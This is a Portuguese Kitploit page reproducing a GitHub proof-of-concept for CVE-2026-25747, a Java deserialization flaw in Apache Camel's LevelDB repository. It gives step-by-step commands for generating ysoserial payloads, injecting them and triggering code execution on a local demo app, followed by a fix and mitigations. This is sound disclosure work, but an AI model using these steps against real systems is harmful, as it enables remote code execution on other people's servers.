Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Vulnerabilidade de desserialização no Camel LevelDB | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-25747
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Vulnerabilidade de desserialização no Camel LevelDB

Ver Repositório
2há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodução de Vulnerabilidade de Desserialização do LevelDB

Este projeto demonstra uma vulnerabilidade de desserialização Java no Repositório de Agregação LevelDB do Apache Camel, similar à CVE-2024-23114 (que afetou o Repositório de Agregação Cassandra).

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-leveldb
Classe AfetadaDefaultLevelDBSerializer.java
Métodos VulneráveisdeserializeKey(), deserializeExchange()
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE)
Versões AfetadasTodas as versões incluindo 4.17.0 (não corrigida até o teste)

Detalhes Técnicos

A classe DefaultLevelDBSerializer usa ObjectInputStream bruto sem qualquer filtragem:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // SEM FILTRAGEM!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // SEM FILTRAGEM!
        }
    });
}

Compare com a implementação corrigida do Cassandra (desde Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTEGIDO
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filtro: "java.**;org.apache.camel.**;!*" - bloqueia classes gadget
    return objectIn.readObject();
}

Pré-requisitos

  • Java 17+
  • Maven 3.8+
  • ysoserial (para geração de payload)

Passos para Reprodução

Passo 1: Compilar e Iniciar a Aplicação

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Passo 2: Inicializar o Banco de Dados LevelDB

root@kitploit:~
# Primeiro, inicialize o banco de dados LevelDB (cria diretório e adiciona uma entrada de teste)
curl http://localhost:8080/exploit/init

Saída esperada:

root@kitploit:~
LevelDB inicializado com sucesso!
Caminho do banco de dados: /tmp/leveldb-exploit/aggregation.db
Nome do repositório: myrepo
Adicionada troca de teste com chave: test-key

Agora você pode injetar um payload malicioso com POST /exploit/inject

Passo 3: Gerar Payload Malicioso

Baixe o ysoserial e gere um payload:

root@kitploit:~
# Baixe o ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Gere payload que executa um comando (ex.: abrir calculadora, tocar arquivo, etc.)
# Para Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# Para macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# Para Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Passo 4: Injetar Payload no LevelDB

root@kitploit:~
# Injete o objeto serializado malicioso no LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Saída esperada:

root@kitploit:~
Payload malicioso injetado no LevelDB!
Tamanho do payload: XXXX bytes
Chave: myrepo^@malicious-key

O payload será desserializado quando:
1. A aplicação reiniciar e recuperar agregações
2. Uma operação get() for realizada nesta chave
3. O mecanismo de varredura/recuperação executar

Passo 5: Acionar a Desserialização (RCE!)

root@kitploit:~
# Acione a vulnerabilidade lendo do LevelDB
curl http://localhost:8080/exploit/trigger

Isso irá iterar por todas as chaves e chamar repo.get() que aciona a desserialização!

Passo 6: Verificar Exploração

root@kitploit:~
# Verifique se o comando foi executado
ls -la /tmp/pwned

Se o arquivo /tmp/pwned existir, a exploração foi bem-sucedida!

Vetores de Ataque

A vulnerabilidade pode ser acionada por múltiplos caminhos:

  1. Reinicialização da Aplicação: Quando o Camel inicia, ele recupera agregações incompletas do LevelDB
  2. Mecanismo de Recuperação: A varredura periódica de recuperação desserializa trocas armazenadas
  3. Acesso Direto: Qualquer chamada get() no repositório aciona a desserialização

Condições para Exploração

Para exploração bem-sucedida:

  1. Acesso de Escrita ao LevelDB: O atacante deve poder escrever no arquivo do banco de dados LevelDB

    • Sistema de arquivos compartilhado
    • Armazenamento comprometido
    • Outra vulnerabilidade permitindo escrita de arquivo
  2. Biblioteca Gadget no Classpath: Uma biblioteca com cadeias gadget exploráveis deve estar presente

    • commons-collections:3.2.1 (gadgets CommonsCollections1-7)
    • org.springframework:spring-core (gadgets Spring)
    • Muitas outras (veja ysoserial)

Comparação com CVE-2024-23114

AspectoCassandra (CVE-2024-23114)LevelDB (Este Problema)
StatusCorrigido na 4.4.0NÃO CORRIGIDO na 4.17.0
ObjectInputStreamUsa ClassLoadingAwareObjectInputStreamUsa ObjectInputStream bruto
Filtro de Desserialização"java.**;org.apache.camel.**;!*"Nenhum
JIRACAMEL-20306Ainda não registrado

Correção Recomendada

Aplique a mesma correção do Cassandra:

  1. Use ClassLoadingAwareObjectInputStream em vez de ObjectInputStream bruto
  2. Adicione ObjectInputFilter configurável com padrões seguros
  3. Filtro padrão: "java.**;org.apache.camel.**;!*"

Exemplo de correção para DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... resto da desserialização
    }
}

Mitigação

Até que uma correção seja lançada:

  1. Restrinja o acesso a arquivos: Garanta que os arquivos LevelDB sejam graváveis apenas pela aplicação Camel
  2. Remova bibliotecas gadget: Se possível, remova ou atualize bibliotecas vulneráveis como commons-collections 3.x
  3. Use serializador alternativo: Configure JacksonLevelDBSerializer em vez de DefaultLevelDBSerializer
  4. Segmentação de rede: Isole sistemas que usam agregação LevelDB

Arquivos

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Configuração Maven com deps vulneráveis
├── README.md                        # Este arquivo
└── src/main/java/com/example/
    ├── Application.java             # Ponto de entrada Spring Boot
    ├── LevelDBRoute.java           # Rota Camel usando agregação LevelDB
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # Endpoints REST para exploração

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados. Não use contra sistemas sem permissão explícita.

Baixar ferramenta